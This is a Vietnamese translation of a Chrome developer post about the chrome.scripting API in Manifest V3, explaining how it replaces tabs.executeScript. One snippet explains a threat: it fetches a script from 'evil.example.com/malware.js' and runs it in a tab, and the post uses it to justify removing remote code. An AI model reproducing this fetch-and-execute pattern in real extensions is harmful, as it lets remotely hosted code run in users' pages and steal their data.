Giới thiệu về chrome.scripting

Manifest V3 giới thiệu một số thay đổi đối với nền tảng tiện ích của Chrome. Trong bài đăng này, chúng ta sẽ tìm hiểu về những động lực và thay đổi của một trong những thay đổi đáng chú ý hơn: sự ra mắt của API chrome.scripting.

chrome.scripting là gì?

Như có thể thấy trong tên gọi, chrome.scripting là một không gian tên mới được ra mắt trong Manifest V3, chịu trách nhiệm về khả năng chèn tập lệnh và kiểu.

Những nhà phát triển từng tạo tiện ích Chrome có thể đã quen thuộc với các phương thức Manifest V2 trên Tabs API như chrome.tabs.executeScriptchrome.tabs.insertCSS. Các phương thức này cho phép tiện ích chèn tập lệnh và bảng kiểu vào các trang tương ứng. Trong Tệp kê khai V3, các chức năng này đã chuyển sang chrome.scripting và chúng tôi dự định mở rộng API này bằng một số chức năng mới trong tương lai.

Tại sao bạn nên tạo API mới?

Khi có thay đổi như vậy, một trong những câu hỏi đầu tiên thường được đặt ra là "tại sao?"

Một vài yếu tố khác nhau đã dẫn đến việc nhóm Chrome quyết định giới thiệu một không gian tên mới cho tập lệnh. Trước tiên, API Thẻ là một ngăn chứa đồ dùng cho các tính năng. Thứ hai, chúng tôi cần thực hiện những thay đổi có thể gây lỗi đối với API executeScript hiện tại. Thứ ba, chúng tôi biết rằng mình muốn mở rộng các tính năng tập lệnh cho tiện ích. Cùng với nhau, những mối lo ngại này đã xác định rõ ràng nhu cầu về một không gian tên mới để lưu trữ các chức năng tập lệnh.

Ngăn rác

Một trong những vấn đề đã gây phiền toái cho Nhóm tiện ích trong vài năm qua là API chrome.tabs bị quá tải. Khi API này được giới thiệu lần đầu, hầu hết các chức năng mà API này cung cấp đều liên quan đến khái niệm rộng về thẻ trình duyệt. Mặc dù vậy, ngay cả tại thời điểm đó, đây chỉ là một phần nhỏ tính năng và qua nhiều năm, bộ sưu tập này chỉ phát triển lớn mạnh.

Vào thời điểm Manifest V3 được phát hành, API Thẻ đã phát triển để bao gồm việc quản lý thẻ cơ bản, quản lý lựa chọn, sắp xếp cửa sổ, nhắn tin, điều khiển thu phóng, điều hướng cơ bản, viết tập lệnh và một vài tính năng nhỏ hơn khác. Mặc dù tất cả đều quan trọng, nhưng có thể gây quá tải cho nhà phát triển khi họ mới bắt đầu và đối với nhóm Chrome khi chúng tôi duy trì nền tảng và xem xét các yêu cầu từ cộng đồng nhà phát triển.

Một yếu tố phức tạp khác là quyền tabs không được hiểu rõ. Mặc dù nhiều quyền khác hạn chế quyền truy cập vào một API nhất định (ví dụ: storage), nhưng quyền này có đôi chút bất thường vì nó chỉ cấp cho tiện ích quyền truy cập vào các thuộc tính nhạy cảm trên các thực thể Thẻ (và bằng tiện ích cũng ảnh hưởng đến API Windows). Có thể hiểu được rằng nhiều nhà phát triển tiện ích nhầm tưởng rằng họ cần quyền này để truy cập vào các phương thức trên Tabs API như chrome.tabs.create hoặc chrome.tabs.executeScript. Việc di chuyển chức năng ra khỏi API Thẻ giúp làm rõ một số nhầm lẫn này.

Thay đổi có thể gây lỗi

Khi thiết kế Manifest V3, một trong những vấn đề lớn mà chúng tôi muốn giải quyết là hành vi sai trái và phần mềm độc hại được kích hoạt bằng "mã được lưu trữ từ xa" – mã được thực thi nhưng không có trong gói tiện ích. Các tác giả tiện ích có hành vi sai trái thường thực thi các tập lệnh được tìm nạp từ máy chủ từ xa để đánh cắp dữ liệu người dùng, chèn phần mềm độc hại và tránh bị phát hiện. Mặc dù những diễn viên giỏi cũng sử dụng khả năng này, nhưng về cơ bản, chúng tôi cảm thấy đơn giản là việc duy trì như thế vốn quá nguy hiểm.

Có một vài cách để các tiện ích có thể thực thi mã không gói, nhưng cách phù hợp ở đây là phương thức chrome.tabs.executeScript của Manifest V2. Phương thức này cho phép tiện ích thực thi một chuỗi mã tuỳ ý trong thẻ mục tiêu. Điều này có nghĩa là một nhà phát triển độc hại có thể tìm nạp một tập lệnh tuỳ ý từ một máy chủ từ xa và thực thi tập lệnh đó bên trong bất kỳ trang nào mà tiện ích có thể truy cập. Chúng tôi biết rằng nếu muốn giải quyết vấn đề về mã từ xa, chúng tôi sẽ phải loại bỏ tính năng này.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chúng tôi cũng muốn khắc phục một số vấn đề khác, tinh tế hơn với thiết kế của phiên bản Tệp kê khai V2 và giúp API trở thành một công cụ tinh tế và dễ dự đoán hơn.

Mặc dù chúng tôi có thể thay đổi chữ ký của phương thức này trong Tabs API, nhưng chúng tôi cảm thấy rằng giữa các thay đổi có thể gây lỗi này và việc giới thiệu các tính năng mới (được đề cập trong phần tiếp theo), việc tách biệt hoàn toàn sẽ dễ dàng hơn cho mọi người.

Mở rộng chức năng tập lệnh

Một cân nhắc khác được đưa vào quy trình thiết kế Manifest V3 là mong muốn giới thiệu thêm các tính năng viết tập lệnh cho nền tảng tiện ích của Chrome. Cụ thể, chúng tôi muốn thêm tính năng hỗ trợ cho tập lệnh nội dung động và mở rộng chức năng của phương thức executeScript.

Hỗ trợ tập lệnh nội dung động đã là một yêu cầu tính năng từ lâu trong Chromium. Hiện tại, các tiện ích Chrome Manifest V2 và V3 chỉ có thể khai báo tĩnh tập lệnh nội dung trong tệp manifest.json; nền tảng này không cung cấp cách thức đăng ký tập lệnh nội dung mới, điều chỉnh việc đăng ký tập lệnh nội dung hoặc huỷ đăng ký tập lệnh nội dung trong thời gian chạy.

Mặc dù biết rằng chúng tôi muốn xử lý yêu cầu về tính năng này trong Manifest V3, nhưng không có API nào hiện có này là nơi phù hợp nhất. Chúng tôi cũng cân nhắc việc điều chỉnh theo Firefox trên Content Scripts API của họ, nhưng ngay từ đầu, chúng tôi đã nhận thấy một số hạn chế lớn của phương pháp này. Trước tiên, chúng ta biết rằng chúng ta sẽ có các chữ ký không tương thích (ví dụ: ngừng hỗ trợ thuộc tính code). Thứ hai, API của chúng tôi có một bộ ràng buộc thiết kế khác (ví dụ: cần đăng ký để duy trì sau thời gian hoạt động của worker). Cuối cùng, không gian tên này cũng sẽ thúc đẩy chúng ta chuyển sang chức năng tập lệnh nội dung, trong đó chúng ta đang suy nghĩ về việc viết tập lệnh trong các tiện ích ở phạm vi rộng hơn.

Ở mặt trước executeScript, chúng tôi cũng muốn mở rộng những việc API này có thể làm ngoài những việc mà phiên bản API Thẻ hỗ trợ. Cụ thể hơn, chúng tôi muốn hỗ trợ các hàm và đối số, dễ dàng nhắm mục tiêu các khung cụ thể hơn và nhắm mục tiêu các ngữ cảnh không phải "thẻ".

Từ giờ trở đi, chúng tôi cũng sẽ xem xét cách các tiện ích có thể tương tác với các PWA đã cài đặt và các ngữ cảnh khác không liên kết về mặt khái niệm với "thẻ".

Thay đổi giữa tabs.executeScript và scripting.executeScript

Trong phần còn lại của bài đăng này, tôi muốn tìm hiểu kỹ hơn về điểm tương đồng và khác biệt giữa chrome.tabs.executeScriptchrome.scripting.executeScript.

Chèn hàm có đối số

Trong khi xem xét cách nền tảng cần phát triển trong bối cảnh các hạn chế đối với mã được lưu trữ từ xa, chúng tôi muốn tìm thấy sự cân bằng giữa sức mạnh thô của việc thực thi mã tuỳ ý và chỉ cho phép các tập lệnh nội dung tĩnh. Giải pháp mà chúng tôi đề ra là cho phép các tiện ích chèn một hàm dưới dạng tập lệnh nội dung và truyền một mảng các giá trị dưới dạng đối số.

Hãy cùng xem nhanh một ví dụ (đơn giản hoá quá mức). Giả sử chúng ta muốn chèn một tập lệnh chào người dùng theo tên khi người dùng nhấp vào nút hành động của tiện ích (biểu tượng trong thanh công cụ). Trong Manifest V2, chúng ta có thể tự động tạo một chuỗi mã và thực thi tập lệnh đó trên trang hiện tại.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Mặc dù tiện ích Manifest V3 không thể sử dụng mã không đi kèm với tiện ích, nhưng mục tiêu của chúng tôi là duy trì một số tính linh hoạt mà các khối mã tuỳ ý bật cho các tiện ích Manifest V2. Phương pháp hàm và đối số cho phép người đánh giá, người dùng Cửa hàng Chrome trực tuyến và các bên quan tâm khác đánh giá chính xác hơn về rủi ro mà một tiện ích gây ra, đồng thời cho phép nhà phát triển sửa đổi hành vi trong thời gian chạy của tiện ích dựa trên chế độ cài đặt của người dùng hoặc trạng thái ứng dụng.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Nhắm mục tiêu khung hình

Chúng tôi cũng muốn cải thiện cách nhà phát triển tương tác với các khung trong API sửa đổi. Phiên bản Tệp kê khai V2 của executeScript cho phép nhà phát triển nhắm đến tất cả các khung trong một thẻ hoặc một khung cụ thể trong thẻ. Bạn có thể sử dụng chrome.webNavigation.getAllFrames để lấy danh sách tất cả các khung trong một thẻ.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Trong Manifest V3, chúng tôi đã thay thế thuộc tính số nguyên frameId không bắt buộc trong đối tượng tuỳ chọn bằng một mảng số nguyên frameIds (không bắt buộc); điều này cho phép nhà phát triển nhắm mục tiêu nhiều khung trong một lệnh gọi API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Kết quả chèn tập lệnh

Chúng tôi cũng đã cải thiện cách trả về kết quả chèn tập lệnh trong Tệp kê khai V3. "Kết quả" về cơ bản là câu lệnh cuối cùng được đánh giá trong tập lệnh. Hãy coi đó là giá trị được trả về khi bạn gọi eval() hoặc thực thi một khối mã trong bảng điều khiển Chrome DevTools, nhưng được chuyển đổi tuần tự để truyền kết quả giữa các quy trình.

Trong tệp kê khai V2, executeScriptinsertCSS sẽ trả về một mảng các kết quả thực thi thuần tuý. Điều này không sao nếu bạn chỉ có một điểm chèn, nhưng thứ tự kết quả không được đảm bảo khi chèn vào nhiều khung, vì vậy, không có cách nào để biết kết quả nào được liên kết với khung nào.

Để biết một ví dụ cụ thể, hãy xem mảng results do Manifest V2 trả về và phiên bản Manifest V3 của cùng một tiện ích. Cả hai phiên bản của tiện ích này sẽ chèn cùng một tập lệnh nội dung và chúng tôi sẽ so sánh kết quả trên cùng một trang minh hoạ.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Khi chạy phiên bản Tệp kê khai V2, chúng ta sẽ nhận được một mảng [1, 0, 5]. Kết quả nào tương ứng với khung chính và kết quả nào tương ứng với iframe? Giá trị trả về không cho chúng ta biết, vì vậy chúng ta không biết chắc chắn.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Trong phiên bản Manifest V3, results hiện chứa một mảng các đối tượng kết quả thay vì một mảng chỉ gồm các kết quả đánh giá và các đối tượng kết quả xác định rõ mã nhận dạng của khung cho mỗi kết quả. Điều này giúp nhà phát triển dễ dàng sử dụng kết quả và hành động trên một khung cụ thể.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Tóm tắt

Việc tăng phiên bản tệp kê khai là cơ hội hiếm có để suy nghĩ lại và hiện đại hoá các API tiện ích. Mục tiêu của chúng tôi đối với Manifest V3 là cải thiện trải nghiệm của người dùng cuối bằng cách làm cho các tiện ích trở nên an toàn hơn, đồng thời cải thiện trải nghiệm của nhà phát triển. Bằng cách ra mắt chrome.scripting trong Manifest V3, chúng tôi đã có thể giúp dọn dẹp API Thẻ, định hình lại executeScript cho một nền tảng tiện ích an toàn hơn, đồng thời đặt nền tảng cho các tính năng viết tập lệnh mới sẽ ra mắt vào cuối năm nay.